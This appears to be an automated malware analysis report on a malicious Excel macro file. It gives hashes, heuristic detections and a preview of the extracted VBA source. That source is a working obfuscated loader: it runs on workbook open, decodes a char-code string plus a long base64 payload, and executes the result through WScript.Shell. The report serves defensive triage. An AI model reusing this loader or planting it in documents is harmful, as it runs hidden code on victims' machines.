Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 16371daea228f242…

MALICIOUS

Office (OOXML)

17.4 KB Created: 2021-09-15 05:58:19 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-10-01
MD5: 347e872334436222aa3bbf2d996911d9 SHA-1: 480fd0fa935f18bf2b317e78286696542a52345f SHA-256: 16371daea228f242361df9aac028f19cc0fa647d40cdf509338b5c4ed99cf4ab
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32

This OOXML document contains a Workbook_Open macro that executes obfuscated VBA code. The script utilizes WScript.Shell to run commands, indicating a likely downloader or execution stage. The presence of obfuscated auto-exec loaders and the use of CreateObject and Shell() calls are strong indicators of malicious intent.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6506 bytes
SHA-256: 5deb3d9a296ebcd305c55c574294ef949747675827099fe5b378847f71f80a5f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub workbook_open()
otv.iie
dsfdas = cxzvxzsf

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "otv"
Function ljknmn(ophji As Variant)
sdfxc = "bvcvhgj  cvnvcfh cvnvhgk"
ljknmn = Chr(ophji - 130)
vcxbdg = "vxvbxdfg cxfgh vcvn gfgh ,vbnvc cvcvn"
End Function
Function otvtxnek(trcriye As String)
rkwsyylg = 0

fdsaf = "cxvx cbbcvx vcxzvsdf fdasxcv"


xoazowmrcgheaiusmymxnmbqbrxzfiquirqioja = "WSCript.shell"
Set vgbtgykmsnabzfwrgwowkijm = CreateObject(xoazowmrcgheaiusmymxnmbqbrxzfiquirqioja)

'hjgjg ffhg5645n /*/
fkrawkhaygfrwhmzyuacdmdypycgrzewlgmw = vgbtgykmsnabzfwrgwowkijm.Run(trcriye, rkwsyylg)
End Function
Sub iie()

fqvp = ljknmn(229) & ljknmn(239) & ljknmn(230) & ljknmn(162) & ljknmn(177) & ljknmn(197) & ljknmn(162) & ljknmn(242) & ljknmn(241) & ljknmn(224) & ljknmn(249) & ljknmn(224) & ljknmn(199) & ljknmn(212) & ljknmn(213) & ljknmn(224) & ljknmn(202) & ljknmn(231) & ljknmn(224) & ljknmn(238) & ljknmn(206) & ljknmn(162) & ljknmn(175) & ljknmn(199) & ljknmn(162)
fqvp = fqvp & "WwBTAFkAUwBUAGUAbQAuAHQARQBYAFQALgBlAE4AYwBPAEQAaQBuAEcAXQA6ADoAdQBuAEkAQwBPAGQAZQAuAEcAZQB0AFMAdAByAGkATgBHACgAWwBzAFkAcwB0AGUAbQAuAEMATwBOAHYARQBSAFQAXQA6ADoAZgByAE8AbQBiAEEAcwBlADYANABzAFQAcgBJAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAW"
fqvp = fqvp & "QBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcANABBAGMAUQBCAGoAQQBIAEkAQQBiAHcAQgBqAEEARwA4AEEAZQBnAEIAaQBBAEcATQBBAGMAdwBCAGkAQQBHAHcAQQBkAEEAQgB4AEEARwBVAEEAZQBRAEIAcABBAEgAVQBBAFkAZwBCAGoAQQBIAGcAQQBkAHcAQgByAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGUAUQBCAHkAQQBIAEkAQQBlAFEAQgByAEEARwBnAEEAWgB3AEIAMgBBAEcAdwBBAFoAUQBCADIAQQBIAE0AQQBiAEEAQgB4AEEASABvAEEASQBBAEEAcwBBAEMAQQBBAEoAQQBCAHcAQQBHAEUAQQBaAHcAQgBrAEEASABFAEEAYQBnAEIANQBBAEgAbwBBAGUAQQBCADUAQQBHAHMAQQBZAFEAQgB1AEEASABFAEEAWgB3AEIAMABBAEgAQQBBAGQAQQBCAHkAQQBDAEEAQQBLAFEAQQBOAEEAQQBvAEEAZQB3AEEAZwBBAEUAawBBAGIAUQBCAHcAQQBHADgAQQBjAGcAQg"
fqvp = fqvp & "AwAEEAQwAwAEEAVABRAEIAUABBAEcAUQBBAGQAUQBCAHMAQQBFAFUAQQBJAEEAQgBpAEEARwBrAEEAVgBBAEIAegBBAEgAUQBBAFUAZwBCAEIAQQBHADQAQQBVAHcAQgBHAEEARwBVAEEAYwBnAEEANwBBAEEAMABBAEMAZwBCAFQAQQBIAFEAQQBRAFEAQgB5AEEARgBRAEEATABRAEIAQwBBAEcAawBBAGQAQQBCAFQAQQBIAFEAQQBjAGcAQgBoAEEARwA0AEEAVQB3AEIARwBBAEUAVQBBAGMAZwBBAGcAQQBDADAAQQBVAHcAQgBQAEEASABVAEEAYwBnAEIARABBAEcAVQBBAEkAQQBBAGsAQQBIAGsAQQBjAGcAQgB5AEEASABrAEEAYQB3AEIAbwBBAEcAYwBBAGQAZwBCAHMAQQBHAFUAQQBkAGcAQgB6AEEARwB3AEEAYwBRAEIANgBBAEMAQQBBAEwAUQBCAGsAQQBHAFUAQQBVAHcAQgBVAEEARQBrAEEAYgBnAEIAQgBBAEgAUQBBAGEAUQBCAHYAQQBHADQAQQBJAEEAQQBrAEEASABBAEEAWQBRAEIAbgBBAEcAUQB"
fqvp = fqvp & "BAGMAUQBCAHEAQQBIAGsAQQBlAGcAQgA0AEEASABrAEEAYQB3AEIAaABBAEcANABBAGMAUQBCAG4AQQBIAFEAQQBjAEEAQgAwAEEASABJAEEATwB3AEEAZwBBAEMAWQBBAEkAQQBBAGsAQQBIAEEAQQBZAFEAQgBuAEEARwBRAEEAYwBRAEIAcQBBAEgAawBBAGUAZwBCADQAQQBIAGsAQQBhAHcAQgBoAEEARwA0AEEAYwBRAEIAbgBBAEgAUQBBAGMAQQBCADAAQQBIAEkAQQBPAHcAQQBnAEEASAAwAEEAZABBAEIAeQBBAEgAawBBAGUAdwBBAGsAQQBHAG8AQQBjAGcAQgB6AEEARwBnAEEAYwBRAEIAdQBBAEcAZwBBAGQAQQBCADIAQQBHAGcAQQBjAFEAQgAyAEEASABvAEEAZABRAEIAbABBAEcASQBBAGEAZwBCAHIAQQBIAGsAQQBkAEEAQgB4AEEASABnAEEAZABnAEIAbABBAEQAMABBAEoAQQBCAEYAQQBHADQAQQBkAGcAQQA2AEEASABRAEEAUgBRAEIATgBBAEgAQQBBAEsAdwBBAG4AQQBGAHcA
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23552 bytes
SHA-256: 60a9d899891f56c6a7d7e303253030b44822000f553b2a98e5cf2ee5730141f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.